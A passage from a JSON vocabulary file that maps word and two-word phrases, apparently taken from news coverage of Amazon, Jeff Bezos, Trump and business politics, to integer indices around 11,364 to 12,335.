11364,\n  \"want local\": 11365,\n  \"media followers\": 11366,\n  \"economic benefit\": 11367,\n  \"require online\": 11368,\n  \"limiting biometric\": 11369,\n  \"wealth grew\": 11370,\n  \"work just\": 11371,\n  \"receive flak\": 11372,\n  \"contract public\": 11373,\n  \"fitness blogger\": 11374,\n  \"immigrant\": 11375,\n  \"similar experiences\": 11376,\n  \"hoist special\": 11377,\n  \"256 price\": 11378,\n  \"coven\": 11379,\n  \"framework\": 11380,\n  \"server719403\": 11381,\n  \"swine fever\": 11382,\n  \"certainly qualify\": 11383,\n  \"prompted\": 11384,\n  \"involuntary inactive\": 11385,\n  \"looks poised\": 11386,\n  \"doesn spare\": 11387,\n  \"drawn mounting\": 11388,\n  \"scars wrinkles\": 11389,\n  \"operations finances\": 11390,\n  \"linn\": 11391,\n  \"christopher horvers\": 11392,\n  \"elissa\": 11393,\n  \"won trust\": 11394,\n  \"time sheet\": 11395,\n  \"seen numbers\": 11396,\n  \"pay attention\": 11397,\n  \"massively\": 11398,\n  \"rachel jones\": 11399,\n  \"leader charles\": 11400,\n  \"customers happy\": 11401,\n  \"oversaturated second\": 11402,\n  \"indian elections\": 11403,\n  \"findings china\": 11404,\n  \"father feels\": 11405,\n  \"mercantile\": 11406,\n  \"rocket separates\": 11407,\n  \"nyc headquarters\": 11408,\n  \"insider sales\": 11409,\n  \"1863\": 11410,\n  \"demonizing immigrants\": 11411,\n  \"swede\": 11412,\n  \"cbs norah\": 11413,\n  \"facebook entry\": 11414,\n  \"new outposts\": 11415,\n  \"loss trump\": 11416,\n  \"robotexts\": 11417,\n  \"286 shares\": 11418,\n  \"barat saltsman\": 11419,\n  \"welcome pullback\": 11420,\n  \"rosenberg\": 11421,\n  \"china health\": 11422,\n  \"cibc acquired\": 11423,\n  \"decacorn status\": 11424,\n  \"employers commit\": 11425,\n  \"2003 new\": 11426,\n  \"service agreements\": 11427,\n  \"fit scale\": 11428,\n  \"looking earnings\": 11429,\n  \"bb invested\": 11430,\n  \"packed national\": 11431,\n  \"mnuchin counselor\": 11432,\n  \"federal public\": 11433,\n  \"employees suffering\": 11434,\n  \"current fiscal\": 11435,\n  \"newspaper pushing\": 11436,\n  \"good valuations\": 11437,\n  \"collapse posted\": 11438,\n  \"setplayerproperties configobj\": 11439,\n  \"r4ee w9x\": 11440,\n  \"hasn\": 11441,\n  \"clear motive\": 11442,\n  \"city company\": 11443,\n  \"wmur tv\": 11444,\n  \"evacuate\": 11445,\n  \"significant icann\": 11446,\n  \"hurwitz criticism\": 11447,\n  \"wagner\": 11448,\n  \"mold write\": 11449,\n  \"cnn jim\": 11450,\n  \"atomic\": 11451,\n  \"100x100 uploaded_files\": 11452,\n  \"casual goldman\": 11453,\n  \"considers splc\": 11454,\n  \"outstanding issues\": 11455,\n  \"years new\": 11456,\n  \"flu season\": 11457,\n  \"literally 100x\": 11458,\n  \"direction bolsonaro\": 11459,\n  \"hypothetical field\": 11460,\n  \"supports entrepreneurs\": 11461,\n  \"journalistic reputation\": 11462,\n  \"paintingturmoil\": 11463,\n  \"enquirer turned\": 11464,\n  \"democracy hostage\": 11465,\n  \"americafirst\": 11466,\n  \"undercharges amazon\": 11467,\n  \"prioritize\": 11468,\n  \"agrees sale\": 11469,\n  \"so2rmu3ecd nws\": 11470,\n  \"leadership success\": 11471,\n  \"sign today\": 11472,\n  \"demonstrated amazon\": 11473,\n  \"click buy\": 11474,\n  \"confirmed commercial\": 11475,\n  \"lobosco reports\": 11476,\n  \"metre tall\": 11477,\n  \"lacking\": 11478,\n  \"house prices\": 11479,\n  \"egregious sort\": 11480,\n  \"amazon brennen\": 11481,\n  \"plus washington\": 11482,\n  \"lawyers discussed\": 11483,\n  \"dns\": 11484,\n  \"numerous amazon\": 11485,\n  \"rubio\": 11486,\n  \"acn 739\": 11487,\n  \"stopped claiming\": 11488,\n  \"quarter compared\": 11489,\n  \"don sell\": 11490,\n  \"nude pictures\": 11491,\n  \"ultimately win\": 11492,\n  \"chief statements\": 11493,\n  \"\\u02c8ri r35i5t\": 11494,\n  \"mans winner\": 11495,\n  \"desktoplogo\": 11496,\n  \"memorabilia item\": 11497,\n  \"campaign cnn\": 11498,\n  \"forcing families\": 11499,\n  \"government engineered\": 11500,\n  \"101 year\": 11501,\n  \"offered reassurance\": 11502,\n  \"outgoing\": 11503,\n  \"founder chairman\": 11504,\n  \"trump charlie\": 11505,\n  \"postal shipping\": 11506,\n  \"norwegian\": 11507,\n  \"fallacious\": 11508,\n  \"monument\": 11509,\n  \"idiotic male\": 11510,\n  \"asrepublicans\": 11511,\n  \"biggest reasons\": 11512,\n  \"bernstein analyst\": 11513,\n  \"koett\": 11514,\n  \"citizen\": 11515,\n  \"report prompted\": 11516,\n  \"okeechobee jussie\": 11517,\n  \"johnson daniel\": 11518,\n  \"private golf\": 11519,\n  \"branded version\": 11520,\n  \"as_pez\": 11521,\n  \"progressive smear\": 11522,\n  \"supports trump\": 11523,\n  \"tgt brands\": 11524,\n  \"illinois industrial\": 11525,\n  \"cooperating witness\": 11526,\n  \"bad time\": 11527,\n  \"way does\": 11528,\n  \"james cayne\": 11529,\n  \"dried cow\": 11530,\n  \"pal pecker\": 11531,\n  \"pecker told\": 11532,\n  \"researchers studying\": 11533,\n  \"republicans signaling\": 11534,\n  \"trigger long\": 11535,\n  \"online spending\": 11536,\n  \"pointed price\": 11537,\n  \"rickards renovation\": 11538,\n  \"media specialist\": 11539,\n  \"new leadership\": 11540,\n  \"new fissures\": 11541,\n  \"industrial levels\": 11542,\n  \"extensive deforestation\": 11543,\n  \"things look\": 11544,\n  \"tech laps\": 11545,\n  \"pesky\": 11546,\n  \"google oracle\": 11547,\n  \"viewing\": 11548,\n  \"budget deficit\": 11549,\n  \"bezos management\": 11550,\n  \"people given\": 11551,\n  \"custodial\": 11552,\n  \"bremberg bremberg\": 11553,\n  \"holes\": 11554,\n  \"chemistry\": 11555,\n  \"alabama 2017\": 11556,\n  \"decision obviously\": 11557,\n  \"wills\": 11558,\n  \"surfaced later\": 11559,\n  \"automated effort\": 11560,\n  \"month passed\": 11561,\n  \"dropped recently\": 11562,\n  \"cmg hd\": 11563,\n  \"1970s itt\": 11564,\n  \"affairs nyc\": 11565,\n  \"insufficient action\": 11566,\n  \"possible avenue\": 11567,\n  \"soon text\": 11568,\n  \"criminal enforcement\": 11569,\n  \"reading tech\": 11570,\n  \"downloaded lifestyle\": 11571,\n  \"nonpartisan\": 11572,\n  \"casino properties\": 11573,\n  \"alexander edwards\": 11574,\n  \"clock\": 11575,\n  \"prime popularity\": 11576,\n  \"die geographyiq\": 11577,\n  \"provided growing\": 11578,\n  \"crises 2018\": 11579,\n  \"nonviolent medellin\": 11580,\n  \"significant value\": 11581,\n  \"pepsico boss\": 11582,\n  \"independent country\": 11583,\n  \"story alphabet\": 11584,\n  \"ferreting\": 11585,\n  \"staff warning\": 11586,\n  \"supplier market\": 11587,\n  \"bashing bezos\": 11588,\n  \"implicit warning\": 11589,\n  \"lauderdale area\": 11590,\n  \"ami informed\": 11591,\n  \"pending case\": 11592,\n  \"wild card\": 11593,\n  \"planned tesla\": 11594,\n  \"entrants nasdaq\": 11595,\n  \"conference ain\": 11596,\n  \"hugest\": 11597,\n  \"salted\": 11598,\n  \"silly\": 11599,\n  \"followed moments\": 11600,\n  \"carped\": 11601,\n  \"border posted\": 11602,\n  \"kvaal wrote\": 11603,\n  \"seeks death\": 11604,\n  \"later learned\": 11605,\n  \"establish long\": 11606,\n  \"doesn mind\": 11607,\n  \"senate shutdown\": 11608,\n  \"crafting\": 11609,\n  \"nomadic\": 11610,\n  \"think company\": 11611,\n  \"strong labor\": 11612,\n  \"herzog\": 11613,\n  \"sent 734\": 11614,\n  \"news available\": 11615,\n  \"immigrant agenda\": 11616,\n  \"justice best\": 11617,\n  \"north east\": 11618,\n  \"federalist\": 11619,\n  \"draws boos\": 11620,\n  \"read information\": 11621,\n  \"finally reunites\": 11622,\n  \"sensor uber\": 11623,\n  \"recently published\": 11624,\n  \"3806\": 11625,\n  \"comment reporting\": 11626,\n  \"scosche industries\": 11627,\n  \"3x average\": 11628,\n  \"tweet thread\": 11629,\n  \"tributes cbs\": 11630,\n  \"despite assurances\": 11631,\n  \"repeatedly violated\": 11632,\n  \"tailers\": 11633,\n  \"insinuates\": 11634,\n  \"retail housing\": 11635,\n  \"paraguay\": 11636,\n  \"piti\": 11637,\n  \"formidable adversary\": 11638,\n  \"espinal konst\": 11639,\n  \"pizza\": 11640,\n  \"administration officials\": 11641,\n  \"alum ben\": 11642,\n  \"lauren worked\": 11643,\n  \"lanuch\": 11644,\n  \"olivers\": 11645,\n  \"materials pinterest\": 11646,\n  \"characterized\": 11647,\n  \"serving\": 11648,\n  \"business insider\": 11649,\n  \"steve adler\": 11650,\n  \"place mackenzie\": 11651,\n  \"million story\": 11652,\n  \"points technology\": 11653,\n  \"nyregion bomb\": 11654,\n  \"labor standards\": 11655,\n  \"1st source\": 11656,\n  \"fatal lynch\": 11657,\n  \"brussels 2018\": 11658,\n  \"cable clips\": 11659,\n  \"nader naini\": 11660,\n  \"president aggressive\": 11661,\n  \"scrutiny policymakers\": 11662,\n  \"forests battled\": 11663,\n  \"1tn matter\": 11664,\n  \"traitors\": 11665,\n  \"voters including\": 11666,\n  \"billion project\": 11667,\n  \"decent jobs\": 11668,\n  \"order study\": 11669,\n  \"amazon marketplaces\": 11670,\n  \"gannett\": 11671,\n  \"metropolitan housing\": 11672,\n  \"ideas impact\": 11673,\n  \"employee wages\": 11674,\n  \"outdo amerika\": 11675,\n  \"lowering\": 11676,\n  \"amazing happens\": 11677,\n  \"investment updates\": 11678,\n  \"consultancy l2\": 11679,\n  \"finder\": 11680,\n  \"fanciful\": 11681,\n  \"concerns remain\": 11682,\n  \"current package\": 11683,\n  \"comey copies\": 11684,\n  \"chain sells\": 11685,\n  \"prevent banks\": 11686,\n  \"remain bearish\": 11687,\n  \"billion good\": 11688,\n  \"wynne\": 11689,\n  \"accumulates\": 11690,\n  \"past midnight\": 11691,\n  \"unviability\": 11692,\n  \"overtures\": 11693,\n  \"weed appeared\": 11694,\n  \"accidentally shot\": 11695,\n  \"protest maybe\": 11696,\n  \"hot dow\": 11697,\n  \"glenn rocket\": 11698,\n  \"imagine amazon\": 11699,\n  \"sap se\": 11700,\n  \"ac360\": 11701,\n  \"awhile\": 11702,\n  \"pubic\": 11703,\n  \"wages bezos\": 11704,\n  \"solittle\": 11705,\n  \"invited schweitzer\": 11706,\n  \"washington montgomery\": 11707,\n  \"expert gavin\": 11708,\n  \"carranza\": 11709,\n  \"children schools\": 11710,\n  \"previous letter\": 11711,\n  \"belnades\": 11712,\n  \"ellison mark\": 11713,\n  \"bin laden\": 11714,\n  \"towners\": 11715,\n  \"tech stalwarts\": 11716,\n  \"need diversity\": 11717,\n  \"border policy\": 11718,\n  \"wall sacred\": 11719,\n  \"vital legal\": 11720,\n  \"pakistan\": 11721,\n  \"unlocking tens\": 11722,\n  \"maloney requested\": 11723,\n  \"complete reversal\": 11724,\n  \"products believe\": 11725,\n  \"l4 a4ee\": 11726,\n  \"sinema flips\": 11727,\n  \"pictures mads\": 11728,\n  \"unfairly crushing\": 11729,\n  \"predicts house\": 11730,\n  \"website attempting\": 11731,\n  \"adequately addressed\": 11732,\n  \"chinese amazon\": 11733,\n  \"encounter trump\": 11734,\n  \"market professionals\": 11735,\n  \"strategic investments\": 11736,\n  \"marcio jose\": 11737,\n  \"jeffbezoswatch\": 11738,\n  \"drag em\": 11739,\n  \"economists thought\": 11740,\n  \"considers rampant\": 11741,\n  \"create nationwide\": 11742,\n  \"cheese small\": 11743,\n  \"present cargo\": 11744,\n  \"season ended\": 11745,\n  \"prescription drug\": 11746,\n  \"campaign finance\": 11747,\n  \"wodj3zgu8a michael\": 11748,\n  \"bezos\": 11749,\n  \"furthering\": 11750,\n  \"governorships\": 11751,\n  \"trade spat\": 11752,\n  \"syrian\": 11753,\n  \"upstate republican\": 11754,\n  \"relations commentary\": 11755,\n  \"gothamist shut\": 11756,\n  \"hours long\": 11757,\n  \"marketing mailers\": 11758,\n  \"dc apple\": 11759,\n  \"consumer choice\": 11760,\n  \"bronx stars\": 11761,\n  \"collaborative\": 11762,\n  \"solely dispute\": 11763,\n  \"gotenna mesh\": 11764,\n  \"pupil\": 11765,\n  \"demolish google\": 11766,\n  \"hq2 munger\": 11767,\n  \"doesn fear\": 11768,\n  \"long game\": 11769,\n  \"sent 570\": 11770,\n  \"wealthy ceo\": 11771,\n  \"slide shows\": 11772,\n  \"legal concerns\": 11773,\n  \"demonizes\": 11774,\n  \"privately pushed\": 11775,\n  \"waxed\": 11776,\n  \"states apple\": 11777,\n  \"called foundation\": 11778,\n  \"fourth day\": 11779,\n  \"video recorder\": 11780,\n  \"cultural significance\": 11781,\n  \"david case\": 11782,\n  \"delivery network\": 11783,\n  \"img_tile_override_imageref\": 11784,\n  \"public photo\": 11785,\n  \"firm 280\": 11786,\n  \"remembrance denver\": 11787,\n  \"cohesion\": 11788,\n  \"controversial departure\": 11789,\n  \"security trade\": 11790,\n  \"lemire\": 11791,\n  \"sent right\": 11792,\n  \"settimeout\": 11793,\n  \"1911 standard\": 11794,\n  \"recently amazon\": 11795,\n  \"legally buy\": 11796,\n  \"dispatch\": 11797,\n  \"web site\": 11798,\n  \"2018when 1999\": 11799,\n  \"transportation secretary\": 11800,\n  \"bezos reaches\": 11801,\n  \"alleged gender\": 11802,\n  \"double monetize\": 11803,\n  \"new house\": 11804,\n  \"allege shadowbanning\": 11805,\n  \"yard line\": 11806,\n  \"industry sheuvachman\": 11807,\n  \"accuse lampert\": 11808,\n  \"item traffic\": 11809,\n  \"rung told\": 11810,\n  \"inc_typid\": 11811,\n  \"constantly whine\": 11812,\n  \"massive camus\": 11813,\n  \"relapse\": 11814,\n  \"ordered 450\": 11815,\n  \"hemmed\": 11816,\n  \"deadline citing\": 11817,\n  \"want socialist\": 11818,\n  \"unique events\": 11819,\n  \"screaming\": 11820,\n  \"22201 202\": 11821,\n  \"latest corporate\": 11822,\n  \"2014 roku\": 11823,\n  \"department backed\": 11824,\n  \"ceraweek 2019\": 11825,\n  \"comment andrew\": 11826,\n  \"stop marketing\": 11827,\n  \"indias new\": 11828,\n  \"pruitt aide\": 11829,\n  \"roosevelt jeff\": 11830,\n  \"world mattis\": 11831,\n  \"liked people\": 11832,\n  \"googl manipulating\": 11833,\n  \"really takes\": 11834,\n  \"getting revenge\": 11835,\n  \"legitimate reasons\": 11836,\n  \"expand far\": 11837,\n  \"express delivery\": 11838,\n  \"released xly\": 11839,\n  \"news view\": 11840,\n  \"reduced shipping\": 11841,\n  \"national economic\": 11842,\n  \"queens undermines\": 11843,\n  \"conference phone\": 11844,\n  \"house nbc\": 11845,\n  \"self restraint\": 11846,\n  \"help entrepreneurs\": 11847,\n  \"historical characters\": 11848,\n  \"authorizing\": 11849,\n  \"sanders felt\": 11850,\n  \"individual sku\": 11851,\n  \"glenview capital\": 11852,\n  \"absurd rise\": 11853,\n  \"blocks louisiana\": 11854,\n  \"president wished\": 11855,\n  \"incorporated reported\": 11856,\n  \"nonsense plan\": 11857,\n  \"sanders politics\": 11858,\n  \"text posted\": 11859,\n  \"continued expansion\": 11860,\n  \"clarkson hammond\": 11861,\n  \"secret life\": 11862,\n  \"s\\u00e3o luiz\": 11863,\n  \"finishing speech\": 11864,\n  \"mainstream\": 11865,\n  \"republican hadn\": 11866,\n  \"ccnmarkets\": 11867,\n  \"rourke claim\": 11868,\n  \"market timers\": 11869,\n  \"straps\": 11870,\n  \"appoints new\": 11871,\n  \"says justice\": 11872,\n  \"welfare jeff\": 11873,\n  \"business development\": 11874,\n  \"corporate rivals\": 11875,\n  \"thanks norah\": 11876,\n  \"advance solutions\": 11877,\n  \"huge relief\": 11878,\n  \"privatizing\": 11879,\n  \"times ebitd\": 11880,\n  \"hourly minimum\": 11881,\n  \"401k 2018\": 11882,\n  \"commodity traders\": 11883,\n  \"safe seats\": 11884,\n  \"centre home\": 11885,\n  \"kickbacks\": 11886,\n  \"brazil anti\": 11887,\n  \"segments pale\": 11888,\n  \"trade friction\": 11889,\n  \"dreaming\": 11890,\n  \"medical accommodation\": 11891,\n  \"usa knows\": 11892,\n  \"132nd\": 11893,\n  \"hq2 plans\": 11894,\n  \"morethough\": 11895,\n  \"push policy\": 11896,\n  \"select disable\": 11897,\n  \"soon shiong\": 11898,\n  \"privately urging\": 11899,\n  \"china trade\": 11900,\n  \"american publicly\": 11901,\n  \"defense dod\": 11902,\n  \"century set\": 11903,\n  \"fallout gop\": 11904,\n  \"exterior medium\": 11905,\n  \"signature accomplishments\": 11906,\n  \"archival video\": 11907,\n  \"digit growth\": 11908,\n  \"example chickens\": 11909,\n  \"600 employees\": 11910,\n  \"stockholder\": 11911,\n  \"director getting\": 11912,\n  \"itselfit\": 11913,\n  \"drivers earn\": 11914,\n  \"sweeping story\": 11915,\n  \"estimates 400\": 11916,\n  \"floral dress\": 11917,\n  \"story googles\": 11918,\n  \"robo advice\": 11919,\n  \"anniversary phony\": 11920,\n  \"morgan reported\": 11921,\n  \"film minority\": 11922,\n  \"pure\": 11923,\n  \"mid noughties\": 11924,\n  \"sell certain\": 11925,\n  \"malaysia\": 11926,\n  \"running months\": 11927,\n  \"hog john\": 11928,\n  \"sausage\": 11929,\n  \"term election\": 11930,\n  \"world cup\": 11931,\n  \"robina suwol\": 11932,\n  \"india savings\": 11933,\n  \"demarcation\": 11934,\n  \"related posts\": 11935,\n  \"funding trump\": 11936,\n  \"isn coming\": 11937,\n  \"angle\": 11938,\n  \"brake fluid\": 11939,\n  \"paul gosar\": 11940,\n  \"pitfalls await\": 11941,\n  \"fro amazon\": 11942,\n  \"huge antitrust\": 11943,\n  \"badassery did\": 11944,\n  \"conservatives trump\": 11945,\n  \"forehead\": 11946,\n  \"jay don\": 11947,\n  \"based online\": 11948,\n  \"anonymous employee\": 11949,\n  \"500 amazon\": 11950,\n  \"synopsis presents\": 11951,\n  \"pecker wrote\": 11952,\n  \"president key\": 11953,\n  \"chopping consumer\": 11954,\n  \"sports leagues\": 11955,\n  \"eggs\": 11956,\n  \"nationalist leaders\": 11957,\n  \"quickly political\": 11958,\n  \"calendar email\": 11959,\n  \"greater intervention\": 11960,\n  \"bolding\": 11961,\n  \"increasing power\": 11962,\n  \"segway inventor\": 11963,\n  \"quash dissenting\": 11964,\n  \"456 possible\": 11965,\n  \"16pm bigbusiness\": 11966,\n  \"money instead\": 11967,\n  \"flesh related\": 11968,\n  \"inside target\": 11969,\n  \"initially demanded\": 11970,\n  \"catchy\": 11971,\n  \"leading efforts\": 11972,\n  \"wind farm\": 11973,\n  \"court sided\": 11974,\n  \"coyly\": 11975,\n  \"trump mexico\": 11976,\n  \"president tsai\": 11977,\n  \"reportedly investigating\": 11978,\n  \"manager 2018\": 11979,\n  \"geraldo rivera\": 11980,\n  \"private communications\": 11981,\n  \"blackmailed embedded\": 11982,\n  \"frequently accuses\": 11983,\n  \"boot\": 11984,\n  \"enjoy wide\": 11985,\n  \"profitability frankly\": 11986,\n  \"joe contributor\": 11987,\n  \"acquired consolidation\": 11988,\n  \"hired jack\": 11989,\n  \"loudoun playing\": 11990,\n  \"place jean\": 11991,\n  \"recognition databases\": 11992,\n  \"ebay president\": 11993,\n  \"macotakara\": 11994,\n  \"tormented\": 11995,\n  \"democratic voters\": 11996,\n  \"limousines\": 11997,\n  \"amazon facial\": 11998,\n  \"classified ads\": 11999,\n  \"moore says\": 12000,\n  \"joint interagency\": 12001,\n  \"toronto just\": 12002,\n  \"treasury secretary\": 12003,\n  \"letting new\": 12004,\n  \"ovens\": 12005,\n  \"sultry texts\": 12006,\n  \"far think\": 12007,\n  \"diverse backgrounds\": 12008,\n  \"insensitive nature\": 12009,\n  \"mowing\": 12010,\n  \"ring video\": 12011,\n  \"used israeli\": 12012,\n  \"entertaining news\": 12013,\n  \"customer experience\": 12014,\n  \"bigger battle\": 12015,\n  \"portfolio isn\": 12016,\n  \"deathly\": 12017,\n  \"includes familiar\": 12018,\n  \"innovative storytelling\": 12019,\n  \"trump economics\": 12020,\n  \"george bush\": 12021,\n  \"burden does\": 12022,\n  \"semi autonomous\": 12023,\n  \"woodward source\": 12024,\n  \"billion fund\": 12025,\n  \"government bonds\": 12026,\n  \"grabber trump\": 12027,\n  \"null editorname\": 12028,\n  \"global climate\": 12029,\n  \"nominee elena\": 12030,\n  \"obscure matter\": 12031,\n  \"europe problems\": 12032,\n  \"weren actually\": 12033,\n  \"users location\": 12034,\n  \"really pies\": 12035,\n  \"steyer appears\": 12036,\n  \"blunts\": 12037,\n  \"zeya\": 12038,\n  \"65m private\": 12039,\n  \"ago called\": 12040,\n  \"escalating tensions\": 12041,\n  \"2019 hungry\": 12042,\n  \"zak1vk5acw new\": 12043,\n  \"amazon vehicles\": 12044,\n  \"longer story\": 12045,\n  \"lina khan\": 12046,\n  \"urging customers\": 12047,\n  \"nigeria narrated\": 12048,\n  \"schilling\": 12049,\n  \"founding team\": 12050,\n  \"salacious\": 12051,\n  \"huge negative\": 12052,\n  \"18px read\": 12053,\n  \"stubby\": 12054,\n  \"protesting insufficient\": 12055,\n  \"really seeing\": 12056,\n  \"weeks amazon\": 12057,\n  \"county high\": 12058,\n  \"176 577\": 12059,\n  \"prices says\": 12060,\n  \"braintree\": 12061,\n  \"locating amazon\": 12062,\n  \"returning african\": 12063,\n  \"20th anniversary\": 12064,\n  \"modernization americans\": 12065,\n  \"miles davis\": 12066,\n  \"korea don\": 12067,\n  \"osborne\": 12068,\n  \"influence people\": 12069,\n  \"talk recently\": 12070,\n  \"bone strewn\": 12071,\n  \"fournier ryanafournier\": 12072,\n  \"lose banning\": 12073,\n  \"lengthening\": 12074,\n  \"tawdry affair\": 12075,\n  \"georgia facial\": 12076,\n  \"edge\": 12077,\n  \"saying trump\": 12078,\n  \"largest populations\": 12079,\n  \"truck capable\": 12080,\n  \"happen quickly\": 12081,\n  \"authorizations serving\": 12082,\n  \"stir\": 12083,\n  \"campaign based\": 12084,\n  \"stifel financial\": 12085,\n  \"dragging\": 12086,\n  \"just internet\": 12087,\n  \"young couple\": 12088,\n  \"multi faceted\": 12089,\n  \"brilliant sagers\": 12090,\n  \"consider postal\": 12091,\n  \"business stuart\": 12092,\n  \"status 1021370601863294977\": 12093,\n  \"charter showed\": 12094,\n  \"interior chief\": 12095,\n  \"home loans\": 12096,\n  \"president hardly\": 12097,\n  \"stock sales\": 12098,\n  \"2017 note\": 12099,\n  \"significantly raising\": 12100,\n  \"company perks\": 12101,\n  \"birkenstock\": 12102,\n  \"monthly tax\": 12103,\n  \"reject\": 12104,\n  \"investment 2019\": 12105,\n  \"cnn division\": 12106,\n  \"realised\": 12107,\n  \"exists\": 12108,\n  \"insult trump\": 12109,\n  \"seeds\": 12110,\n  \"store greer\": 12111,\n  \"trump denunciations\": 12112,\n  \"arivale ceo\": 12113,\n  \"technology boot\": 12114,\n  \"software guide\": 12115,\n  \"start event\": 12116,\n  \"read house\": 12117,\n  \"walmart jab\": 12118,\n  \"unit cnn\": 12119,\n  \"hobbled cramer\": 12120,\n  \"cay\": 12121,\n  \"meeting treasury\": 12122,\n  \"universe including\": 12123,\n  \"repayment\": 12124,\n  \"vc backed\": 12125,\n  \"best retailer\": 12126,\n  \"utils\": 12127,\n  \"corrupt company\": 12128,\n  \"disruptive business\": 12129,\n  \"administration lobbyist\": 12130,\n  \"dystopian oligarch\": 12131,\n  \"turns disaster\": 12132,\n  \"scenic\": 12133,\n  \"action sequences\": 12134,\n  \"sciences corporation\": 12135,\n  \"lure new\": 12136,\n  \"programme works\": 12137,\n  \"analyzed 187\": 12138,\n  \"politicians led\": 12139,\n  \"study published\": 12140,\n  \"upended\": 12141,\n  \"cooperstown\": 12142,\n  \"888 630\": 12143,\n  \"loves 123s\": 12144,\n  \"engine compartment\": 12145,\n  \"president data\": 12146,\n  \"market remains\": 12147,\n  \"national local\": 12148,\n  \"features episodes\": 12149,\n  \"afp hedge\": 12150,\n  \"schedule certification\": 12151,\n  \"contracts pleasure\": 12152,\n  \"potus trump\": 12153,\n  \"president urged\": 12154,\n  \"990\": 12155,\n  \"tm lose\": 12156,\n  \"increase shareholder\": 12157,\n  \"duque\": 12158,\n  \"need jacket\": 12159,\n  \"holding talks\": 12160,\n  \"amazing experts\": 12161,\n  \"staffing firm\": 12162,\n  \"cowardly betrayal\": 12163,\n  \"cause companies\": 12164,\n  \"news trump\": 12165,\n  \"plans big\": 12166,\n  \"swan wrote\": 12167,\n  \"mapping company\": 12168,\n  \"nigh\": 12169,\n  \"set spooky\": 12170,\n  \"company retain\": 12171,\n  \"world stocks\": 12172,\n  \"annual golden\": 12173,\n  \"boycotts wonder\": 12174,\n  \"huseman did\": 12175,\n  \"employer divorce\": 12176,\n  \"law cfr\": 12177,\n  \"hearing saying\": 12178,\n  \"keeping cash\": 12179,\n  \"twitter fueled\": 12180,\n  \"aws cloud\": 12181,\n  \"founder mike\": 12182,\n  \"mercy\": 12183,\n  \"house estimated\": 12184,\n  \"strict regulatory\": 12185,\n  \"premise accept\": 12186,\n  \"rhetoric\": 12187,\n  \"transportation expenses\": 12188,\n  \"thailand search\": 12189,\n  \"polluting industries\": 12190,\n  \"fund chatham\": 12191,\n  \"dolezal\": 12192,\n  \"growing girth\": 12193,\n  \"later dubbed\": 12194,\n  \"innately exploitative\": 12195,\n  \"scraps near\": 12196,\n  \"counter cyclical\": 12197,\n  \"ouch data\": 12198,\n  \"customers currently\": 12199,\n  \"alexander\": 12200,\n  \"glowingly\": 12201,\n  \"independent community\": 12202,\n  \"companies donate\": 12203,\n  \"night home\": 12204,\n  \"breaking earnings\": 12205,\n  \"senate presented\": 12206,\n  \"frankly embarrassing\": 12207,\n  \"cities consider\": 12208,\n  \"hq2 offices\": 12209,\n  \"whatsappshareelement\": 12210,\n  \"big brands\": 12211,\n  \"enormous michael\": 12212,\n  \"ignoring small\": 12213,\n  \"touting according\": 12214,\n  \"tax contributions\": 12215,\n  \"expenses finally\": 12216,\n  \"verify mark\": 12217,\n  \"bezos overnight\": 12218,\n  \"black children\": 12219,\n  \"just way\": 12220,\n  \"couples embedded\": 12221,\n  \"trump world\": 12222,\n  \"manufacturing companies\": 12223,\n  \"ant man\": 12224,\n  \"currently trades\": 12225,\n  \"shirts uncovered\": 12226,\n  \"rough transition\": 12227,\n  \"joe television\": 12228,\n  \"journal op\": 12229,\n  \"european plan\": 12230,\n  \"dive brief\": 12231,\n  \"annual filings\": 12232,\n  \"political victory\": 12233,\n  \"amazon distribution\": 12234,\n  \"samuel alito\": 12235,\n  \"magazine award\": 12236,\n  \"company website\": 12237,\n  \"wag\": 12238,\n  \"afl\": 12239,\n  \"initial providers\": 12240,\n  \"amazonian oracle\": 12241,\n  \"x68mz6hft2\": 12242,\n  \"toronto bigstock\": 12243,\n  \"sculptures preschoolers\": 12244,\n  \"media piled\": 12245,\n  \"tremendous suffering\": 12246,\n  \"notifications\": 12247,\n  \"tax package\": 12248,\n  \"linn stamp\": 12249,\n  \"hills california\": 12250,\n  \"ranks mail\": 12251,\n  \"high expected\": 12252,\n  \"profound problem\": 12253,\n  \"today agenda\": 12254,\n  \"cultures indigenous\": 12255,\n  \"87m\": 12256,\n  \"targeted special\": 12257,\n  \"worth spike\": 12258,\n  \"advantage executing\": 12259,\n  \"philanthropy magazine\": 12260,\n  \"sell fake\": 12261,\n  \"kitchen appliances\": 12262,\n  \"video_description\": 12263,\n  \"embrapa\": 12264,\n  \"special task\": 12265,\n  \"merit consideration\": 12266,\n  \"karl ove\": 12267,\n  \"lofty valuation\": 12268,\n  \"bloodworth\": 12269,\n  \"eurozone australian\": 12270,\n  \"page column\": 12271,\n  \"behaviour implode\": 12272,\n  \"global freight\": 12273,\n  \"ricky whittle\": 12274,\n  \"subside\": 12275,\n  \"antitrust ruling\": 12276,\n  \"kris coratti\": 12277,\n  \"williamson elaborates\": 12278,\n  \"maximizing potential\": 12279,\n  \"2018 short\": 12280,\n  \"mayor sees\": 12281,\n  \"issue hit\": 12282,\n  \"jpg 640x290\": 12283,\n  \"began revolting\": 12284,\n  \"worst air\": 12285,\n  \"tony podesta\": 12286,\n  \"bezos dangling\": 12287,\n  \"tentacles\": 12288,\n  \"years dimon\": 12289,\n  \"gay told\": 12290,\n  \"transcript posted\": 12291,\n  \"ordinarily buys\": 12292,\n  \"peppered\": 12293,\n  \"online trafficking\": 12294,\n  \"beloved city\": 12295,\n  \"gravitate\": 12296,\n  \"apple surge\": 12297,\n  \"movie property\": 12298,\n  \"mistake afp\": 12299,\n  \"000 reduced\": 12300,\n  \"walmart true\": 12301,\n  \"strikes stationary\": 12302,\n  \"black farmers\": 12303,\n  \"acre\": 12304,\n  \"dollars worth\": 12305,\n  \"410\": 12306,\n  \"246 square\": 12307,\n  \"gw\": 12308,\n  \"biases\": 12309,\n  \"t5khpuugfj\": 12310,\n  \"single entity\": 12311,\n  \"florida right\": 12312,\n  \"johnson deserves\": 12313,\n  \"joe hassett\": 12314,\n  \"financial officer\": 12315,\n  \"commerce intends\": 12316,\n  \"year 2018\": 12317,\n  \"clary\": 12318,\n  \"conducted friendly\": 12319,\n  \"legalized\": 12320,\n  \"moment dominated\": 12321,\n  \"desirable jobs\": 12322,\n  \"conversion\": 12323,\n  \"adoption euractiv\": 12324,\n  \"story underscores\": 12325,\n  \"koch officiated\": 12326,\n  \"christiansen\": 12327,\n  \"ongoing transformation\": 12328,\n  \"obama press\": 12329,\n  \"faang stocks\": 12330,\n  \"scrutiny amazon\": 12331,\n  \"letitia james\": 12332,\n  \"corporate oversight\": 12333,\n  \"monopolisation\": 12334,\n  \"related question\": 12335,\n  \"news 